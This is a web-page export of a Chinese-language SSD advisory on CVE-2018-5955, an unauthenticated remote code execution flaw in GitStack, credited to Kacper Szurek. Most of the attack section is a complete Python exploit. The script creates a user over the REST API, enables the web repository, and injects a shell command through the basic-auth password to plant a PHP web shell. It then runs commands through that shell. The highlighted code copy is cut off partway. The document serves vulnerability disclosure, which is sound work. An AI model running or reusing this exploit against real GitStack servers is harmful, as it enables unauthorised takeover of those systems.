{"id":11396,"date":"2018-02-06T14:19:31","date_gmt":"2018-02-06T22:19:31","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/02\/06\/news-5167\/"},"modified":"2018-02-06T14:19:31","modified_gmt":"2018-02-06T22:19:31","slug":"news-5167","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2018\/02\/06\/news-5167\/","title":{"rendered":"SSD\u5b89\u5168\u516c\u544a-GitStack\u672a\u7ecf\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Tue, 06 Feb 2018 08:44:21 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3665\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3665');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>\u6f0f\u6d1e\u6982\u8981<\/strong><\/p>\n<p>\u4ee5\u4e0b\u5b89\u5168\u516c\u544a\u63cf\u8ff0\u4e86\u5728GitStack\u4e2d\u5b58\u5728\u7684\u4e00\u4e2a\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u52a8\u4f5c\uff0c\u5141\u8bb8\u8fdc\u7a0b\u653b\u51fb\u8005\u6dfb\u52a0\u65b0\u7528\u6237\uff0c\u7136\u540e\u7528\u4e8e\u89e6\u53d1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002<\/p>\n<p>GitStack\u662f\u4e00\u4e2a\u53ef\u4ee5\u8ba9\u4f60\u8bbe\u7f6e\u4f60\u81ea\u5df1\u79c1\u4ebaGit\u670d\u52a1\u5668\u7684\u8f6f\u4ef6\u3002 \u8fd9\u610f\u5473\u7740\u4f60\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6ca1\u6709\u4efb\u4f55\u5185\u5bb9\u7684\u7248\u672c\u63a7\u5236\u7cfb\u7edf\u3002GitStack\u53ef\u4ee5\u975e\u5e38\u5bb9\u6613\u7684\u4fdd\u6301\u4f60\u7684\u670d\u52a1\u5668\u662f\u6700\u65b0\u7684\u3002\u5b83\u662f\u771f\u6b63Git for Windows\uff0c\u5e76\u4e0e\u4efb\u4f55\u5176\u4ed6Git\u5ba2\u6237\u7aef\u517c\u5bb9\u3002GitStack\u5bf9\u4e8e\u5c0f\u56e2\u961f\u6765\u8bf4\u662f\u5b8c\u5168\u514d\u8d39\u7684\u3002<\/p>\n<p><span id=\"more-3665\"><\/span><\/p>\n<p><strong>\u6f0f\u6d1e\u63d0\u4ea4\u8005<\/strong><\/p>\n<p>\u4e00\u4f4d\u72ec\u7acb\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458 Kacper Szurek\u5411 Beyond Security \u7684 SSD \u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e<\/p>\n<p><strong>\u5382\u5546\u54cd\u5e94<\/strong><\/p>\n<p>\u81ea2017\u5e7410\u670817\u65e5\u8d77\uff0c\u6211\u4eec\u591a\u6b21\u5c1d\u8bd5\u8054\u7cfbGitStack\uff0c\u5df2\u7ecf\u6536\u5230\u56de\u5e94\uff0c\u4f46\u672a\u63d0\u4f9b\u6709\u5173\u89e3\u51b3\u65b9\u6848\u6216\u89e3\u51b3\u65b9\u6cd5\u7684\u8be6\u7ec6\u4fe1\u606f\u3002<\/p>\n<p>CVE\uff1aCVE-2018-5955<\/p>\n<p><strong>\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f<\/strong><\/p>\n<p>\u7528\u6237\u53ef\u63a7\u7684\u8f93\u5165\u6ca1\u6709\u7ecf\u8fc7\u5145\u5206\u7684\u8fc7\u6ee4\uff0c\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u53d1\u9001\u4ee5\u4e0bPOST\u8bf7\u6c42\u5728GitStack\u670d\u52a1\u5668\u4e2d\u6dfb\u52a0\u65b0\u7528\u6237\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a7a29f28caa6655275542\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> http:\/\/IP\/rest\/user\/  data={&#8216;username&#8217; : username, &#8216;password&#8217; : password}<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>\u4e00\u65e6\u653b\u51fb\u8005\u5c06\u7528\u6237\u6dfb\u52a0\u5230\u670d\u52a1\u5668\uff0c\u4ed6\u5c31\u53ef\u4ee5\u542f\u7528web repository\u529f\u80fd\u3002<\/p>\n<p>\u73b0\u5728\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4ece\u8fdc\u7a0b\u521b\u5efa\u4e00\u4e2arepository\uff0c\u5e76\u7981\u6b62\u5176\u4ed6\u4eba\u8bbf\u95ee\u6211\u4eec\u65b0\u7684repository\u3002<\/p>\n<p>\u5728repository\u4e2d\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4e0a\u4f20\u540e\u95e8\u5e76\u4f7f\u7528\u5b83\u6765\u6267\u884c\u4ee3\u7801\uff1a<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/01\/GitStack1-2.jpg\" data-slb-active=\"1\" data-slb-asset=\"20481171\" data-slb-internal=\"0\" data-slb-group=\"3665\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/01\/GitStack1-2-300x194.jpg\" alt=\"\" width=\"300\" height=\"194\" class=\"alignnone size-medium wp-image-3596\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/01\/GitStack1-2-300x194.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/01\/GitStack1-2-768x497.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/01\/GitStack1-2-1024x663.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/01\/GitStack1-2.jpg 1036w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>\u6f0f\u6d1e\u8bc1\u660e<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a7a29f28caad265384058\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> import requests  from requests.auth import HTTPBasicAuth  import os  import sys    ip = &#8216;192.168.15.102&#8217;    # What command you want to execute  command = &#8220;whoami&#8221;    repository = &#8216;rce&#8217;  username = &#8216;rce&#8217;  password = &#8216;rce&#8217;  csrf_token = &#8216;token&#8217;    user_list = []    print &#8220;[+] Get user list&#8221;  r = requests.get(&#8220;http:\/\/{}\/rest\/user\/&#8221;.format(ip))  try:   user_list = r.json()   user_list.remove(&#8216;everyone&#8217;)  except:   pass    if len(user_list) &gt; 0:   username = user_list[0]   print &#8220;[+] Found user {}&#8221;.format(username)  else:   r = requests.post(&#8220;http:\/\/{}\/rest\/user\/&#8221;.format(ip), data={&#8216;username&#8217; : username, &#8216;password&#8217; : password})   print &#8220;[+] Create user&#8221;   if not &#8220;User created&#8221; in r.text and not &#8220;User already exist&#8221; in r.text:    print &#8220;[-] Cannot create user&#8221;    os._exit(0)    r = requests.get(&#8220;http:\/\/{}\/rest\/settings\/general\/webinterface\/&#8221;.format(ip))  if &#8220;true&#8221; in r.text:   print &#8220;[+] Web repository already enabled&#8221;  else:   print &#8220;[+] Enable web repository&#8221;   r = requests.put(&#8220;http:\/\/{}\/rest\/settings\/general\/webinterface\/&#8221;.format(ip), data='{&#8220;enabled&#8221; : &#8220;true&#8221;}&#8217;)   print &#8220;r: %s&#8221; % r   if not &#8220;Web interface successfully enabled&#8221; in r.text:    print &#8220;[-] Cannot enable web interface&#8221;    os._exit(0)    print &#8220;[+] Get repositories list&#8221;  r = requests.get(&#8220;http:\/\/{}\/rest\/repository\/&#8221;.format(ip))  repository_list = r.json()    if len(repository_list) &gt; 0:   repository = repository_list[0][&#8216;name&#8217;]   print &#8220;[+] Found repository {}&#8221;.format(repository)  else:   print &#8220;[+] Create repository&#8221;      r = requests.post(&#8220;http:\/\/{}\/rest\/repository\/&#8221;.format(ip), cookies={&#8216;csrftoken&#8217; : csrf_token}, data={&#8216;name&#8217; : repository, &#8216;csrfmiddlewaretoken&#8217; : csrf_token})  if not &#8220;The repository has been successfully created&#8221; in r.text and not &#8220;Repository already exist&#8221; in r.text:   print &#8220;[-] Cannot create repository&#8221;   os._exit(0)    print &#8220;[+] Add user to repository&#8221;  r = requests.post(&#8220;http:\/\/{}\/rest\/repository\/{}\/user\/{}\/&#8221;.format(ip, repository, username))    if not &#8220;added to&#8221; in r.text and not &#8220;has already&#8221; in r.text:   print &#8220;[-] Cannot add user to repository&#8221;   os._exit(0)    print &#8220;[+] Disable access for anyone&#8221;  r = requests.delete(&#8220;http:\/\/{}\/rest\/repository\/{}\/user\/{}\/&#8221;.format(ip, repository, &#8220;everyone&#8221;))    if not &#8220;everyone removed from rce&#8221; in r.text and not &#8220;not in list&#8221; in r.text:   print &#8220;[-] Cannot remove access for anyone&#8221;   os._exit(0)    print &#8220;[+] Create backdoor in PHP&#8221;  r = requests.get(&#8216;http:\/\/{}\/web\/index.php?p={}.git&amp;a=summary&#8217;.format(ip, repository), auth=HTTPBasicAuth(username, &#8216;p &amp;&amp; echo &#8220;&lt;?php system($_POST[&#8216;a&#8217;]); ?&gt;&#8221; &gt; c:GitStackgitphpexploit.php&#8217;))  print r.text.encode(sys.stdout.encoding, errors=&#8217;replace&#8217;)    print &#8220;[+] Execute command&#8221;  r = requests.post(&#8220;http:\/\/{}\/web\/exploit.php&#8221;.format(ip), data={&#8216;a&#8217; : command})  print r.text.encode(sys.stdout.encoding, errors=&#8217;replace&#8217;)<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a7a29f28caad265384058-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a7a29f28caad265384058-83\">83<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-1\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">requests<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-2\"><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">auth <\/span><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">HTTPBasicAuth<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-3\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">os<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-4\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">sys<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-6\"><span class=\"crayon-v\">ip<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;192.168.15.102&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-7\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-8\"><span class=\"crayon-p\"># What command you want to execute<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-9\"><span class=\"crayon-v\">command<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;whoami&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-11\"><span class=\"crayon-v\">repository<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;rce&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-12\"><span class=\"crayon-v\">username<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;rce&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-13\"><span class=\"crayon-v\">password<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;rce&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-14\"><span class=\"crayon-v\">csrf_token<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;token&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-16\"><span class=\"crayon-v\">user_list<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-17\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-18\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Get user list&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-19\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;http:\/\/{}\/rest\/user\/&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-20\"><span class=\"crayon-st\">try<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-21\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">user_list<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">json<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-22\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">user_list<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">remove<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;everyone&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-23\"><span class=\"crayon-v\">except<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-24\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">pass<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-25\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a7a29f28caad265384058-26\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">user_list<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a7a29f28caad265384058-27\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">username<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">user_list<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span 